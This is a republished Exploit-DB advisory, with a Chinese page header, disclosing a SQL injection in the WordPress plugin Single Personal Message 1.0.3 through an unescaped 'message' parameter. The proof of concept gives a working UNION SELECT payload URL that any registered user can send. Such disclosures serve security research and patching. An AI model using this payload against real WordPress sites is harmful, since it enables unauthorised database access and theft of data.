WordPress Plugin Single Personal Message 1.0.3 – SQL Injection - 体验盒子

作者： Lenon Leite

日期： 2016-12-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/40870/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection

# Date: 28/11/2016

# Exploit Author: Lenon Leite

# Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/

# Software Link: https://wordpress.org/plugins/simple-personal-message/

# Contact: http://twitter.com/lenonleite

# Website: http://lenonleite.com.br/

# Category: webapps

# Version: 1.0.3

# Tested on: Windows 8

1 - Description:

$_GET['message'] is not escaped. Is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 - Login as regular user (created using wp-login.php?action=register):

2 - Access url:

http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1

3 - Timeline:

28/11/2016 - Discovered

28/11/2016 - vendor notified